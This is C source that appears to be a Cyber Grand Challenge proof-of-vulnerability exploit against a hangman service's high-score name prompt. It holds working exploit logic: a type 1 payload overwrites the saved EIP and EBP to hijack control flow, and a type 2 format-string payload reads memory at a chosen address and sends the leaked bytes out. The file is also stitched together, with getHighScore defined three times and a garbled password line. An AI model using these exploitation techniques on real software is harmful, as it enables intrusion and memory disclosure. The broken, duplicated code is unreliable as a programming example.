void getHighScore() {
unsigned char rand;
int i, ch;
char name[80];
unsigned int *iname = (unsigned int*)name;
for (i = 0; i < 48; i++) {
unsigned int lrand;
do {
random(&lrand, 4, NULL);
lrand = lrand % (0x7e - 0x20);
name[i] = ' ' + lrand;
} while (name[i] == '%' || name[i] == '\\');
}
name[48] = '\n';
name[49] = 0;
unsigned int neg[4];
unsigned int val[2];
neg[0] = 1;
neg[1] = 0x3e3e3e3e;
neg[2] = 0x3e3e3e3e;
random(&rand, 1, NULL);
if (rand & 1) {
neg[3] = 5;
}
else {
neg[3] = 6;
}
checked_transmit(3, neg, sizeof(neg));
receive_all(3, (char*)val, sizeof(val));
iname[11] = val[0] | 0x40404040; //eip
if (rand & 1) {
iname[10] = val[1] | 0x40404040; //ebp
}
else {
iname[9] = val[1] | 0x40404040; //ebp
}
match("Congratulations blondie, add yourself to the high score list\n");
match("What is your name? ");
checked_transmit(1, name, 49);
match("New member of the HOF: ");
do {
ch = getchar();
if (ch == EOF) {
_terminate(1);
}
} while (ch != '\n');
do {
ch = getchar();
if (ch == EOF) {
_terminate(1);
}
} while (ch != '\n');
}
void getHighScore() {
unsigned char rand;
int i;
char name[80];
unsigned int *iname = (unsigned int*)name;
random(&rand, 1, NULL);
//type 2
unsigned int neg[1];
unsigned int val[3];
neg[0] = 2;
random(&rand, 1, NULL);
checked_transmit(3, neg, sizeof(neg));
receive_all(3, (char*)val, sizeof(val));
while (1) {
unsigned int offset;
random(&offset, 4, NULL);
offset &= 0x7ff;
offset += val[0];
if ((offset & 0xFF) != 0x0a && (offset & 0xFF00) != 0x0a00 && (offset & 0xFF0000) != 0x0a0000 && (offset & 0xFF000000) != 0x0a000000 &&
(offset & 0xFF) != 0x25 && (offset & 0xFF00) != 0x2500 && (offset & 0xFF0000) != 0x250000 && (offset & 0xFF000000) != 0x25000000) {
val[0] = offset;
break;
}
}
iname[5] = val[0];
iname[6] = val[0] + 16;
memcpy(name, "%17$.9sabc%18$.9sdef", 20);
name[28] = '\n';
name[29] = 0;
match("Congratulations blondie, add yourself to the high score list\n");
match("What is your name? ");
checked_transmit(1, name, 29);
match("New member of the HOF: ");
for (i = 0; i < 80; i++) {
name[i] = 0;
}
i = 0;
while (i < 3 || memcmp(name + i - 3, "def", 3) != 0) {
int ch = getchar();
if (ch == EOF) {
err("term7\n", 6, 7);
}
name[i] = ch;
i++;
}
getchar(); //LF
i = 3;
while (memcmp(name + i - 3, "abc", 3) != 0) {
i++;
}
if (i >= (val[2] + 3)) {
checked_transmit(3, name, val[2]);
_terminate(8);
}
checked_transmit(3, name + i, val[2]);
_terminate(8);
}
int doTurn(char guess, char **answer) {
int c;
match("\n");
printBoard(0);
match("used: \"");
int i = 0;
do {
c = getchar();
if (c == EOF) {
_terminate(13);
}
used[i++] = c;
} while (c != '"');
used[--i] = 0;
match("\navailable: \"");
i = 0;
do {
c = getchar();
if (c == EOF) {
_terminate(14);
}
avail[i++] = c;
} while (c != '"');
avail[--i] = 0;
match("\n\ncurrent: ");
i = 0;
do {
c = getchar();
if (c == EOF) {
_terminate(15);
}
current[i++] = c;
} while (c != '\n');
current[--i] = 0;
// int len;
match("\nYour guess: ");
checked_transmit(1, &guess, 1);
checked_transmit(1, "\n", 1);
return makeGuess(answer);
}
int main() {
char *answer;
//interact with the client socket
char buf[4096];
int word;
random(&word, 4, NULL);
// printf("Password: "******"Password: "******"HANGEMHIGH!\n", 12);
if (fread(buf, 1, 28, stdin) != 28) {
_terminate(3);
}
if (memcmp(buf, "Welcome to Hangman Blondie!\n", 28) != 0) {
_terminate(4);
}
playToLose(word, &answer);
if (fread(buf, 1, 18, stdin) != 18) {
err("term1\n", 6, 1);
}
if (memcmp(buf, "Play again (y/n)? ", 18) != 0) {
err("term2\n", 6, 1);
}
checked_transmit(1, "y\n", 2);
playToWin(word, answer);
/*
if (fread(buf, 1, 18, stdin) != 18) {
err("term3\n", 6, 1);
}
if (memcmp(buf, "Play again (y/n)? ", 18) != 0) {
err("term4\n", 6, 1);
}
*/
checked_transmit(1, "n\n", 2);
_terminate(0);
}
void getWord(int word) {
unsigned char buf[4096];
//save aside the first 4k of random
if (fread(buf, 1, 43, stdin) != 43) {
_terminate(5);
}
if (memcmp((char*)buf, "Choose your word seed. Please send 4 bytes\n", 43) != 0) {
_terminate(6);
}
checked_transmit(1, &word, sizeof(word));
}
void getHighScore() {
unsigned char rand;
int i, ch;
char name[80];
unsigned int *iname = (unsigned int*)name;
random(&rand, 1, NULL);
if (rand & 1) { //type 1
for (i = 0; i < 48; i++) {
unsigned int lrand;
do {
random(&lrand, 4, NULL);
lrand = lrand % (0x7e - 0x20);
name[i] = ' ' + lrand;
} while (name[i] == '%' || name[i] == '\\');
}
name[48] = '\n';
name[49] = 0;
unsigned int neg[4];
unsigned int val[2];
neg[0] = 1;
neg[1] = 0x3e3e3e3e;
neg[2] = 0x3e3e3e3e;
random(&rand, 1, NULL);
if (rand & 1) {
neg[3] = 5;
}
else {
neg[3] = 6;
}
checked_transmit(3, neg, sizeof(neg));
receive_all(3, (char*)val, sizeof(val));
iname[11] = val[0] | 0x40404040; //eip
if (rand & 1) {
iname[10] = val[1] | 0x40404040; //ebp
}
else {
iname[9] = val[1] | 0x40404040; //ebp
}
match("Congratulations blondie, add yourself to the high score list\n");
match("What is your name? ");
checked_transmit(1, name, 49);
match("New member of the HOF: ");
do {
ch = getchar();
if (ch == EOF) {
_terminate(1);
}
} while (ch != '\n');
do {
ch = getchar();
if (ch == EOF) {
_terminate(1);
}
} while (ch != '\n');
}
else { //type 2
unsigned int neg[1];
unsigned int val[3];
neg[0] = 2;
random(&rand, 1, NULL);
checked_transmit(3, neg, sizeof(neg));
receive_all(3, (char*)val, sizeof(val));
while (1) {
unsigned int offset;
random(&offset, 4, NULL);
offset &= 0x7ff;
offset += val[0];
if ((offset & 0xFF) != 0x0a && (offset & 0xFF00) != 0x0a00 && (offset & 0xFF0000) != 0x0a0000 && (offset & 0xFF000000) != 0x0a000000 &&
(offset & 0xFF) != 0x25 && (offset & 0xFF00) != 0x2500 && (offset & 0xFF0000) != 0x250000 && (offset & 0xFF000000) != 0x25000000) {
val[0] = offset;
break;
}
}
iname[5] = val[0];
iname[6] = val[0] + 16;
cgc_memcpy(name, "%17$.9sabc%18$.9sdef", 20);
name[28] = '\n';
name[29] = 0;
match("Congratulations blondie, add yourself to the high score list\n");
match("What is your name? ");
checked_transmit(1, name, 29);
match("New member of the HOF: ");
for (i = 0; i < 80; i++) {
name[i] = 0;
}
i = 0;
while (i < 3 || memcmp(name + i - 3, "def", 3) != 0) {
int ch = getchar();
if (ch == EOF) {
err("term7\n", 6, 7);
}
name[i] = ch;
i++;
}
getchar(); //LF
i = 3;
while (memcmp(name + i - 3, "abc", 3) != 0) {
i++;
}
if (i >= (val[2] + 3)) {
checked_transmit(3, name, val[2]);
_terminate(8);
}
checked_transmit(3, name + i, val[2]);
_terminate(8);
}
}
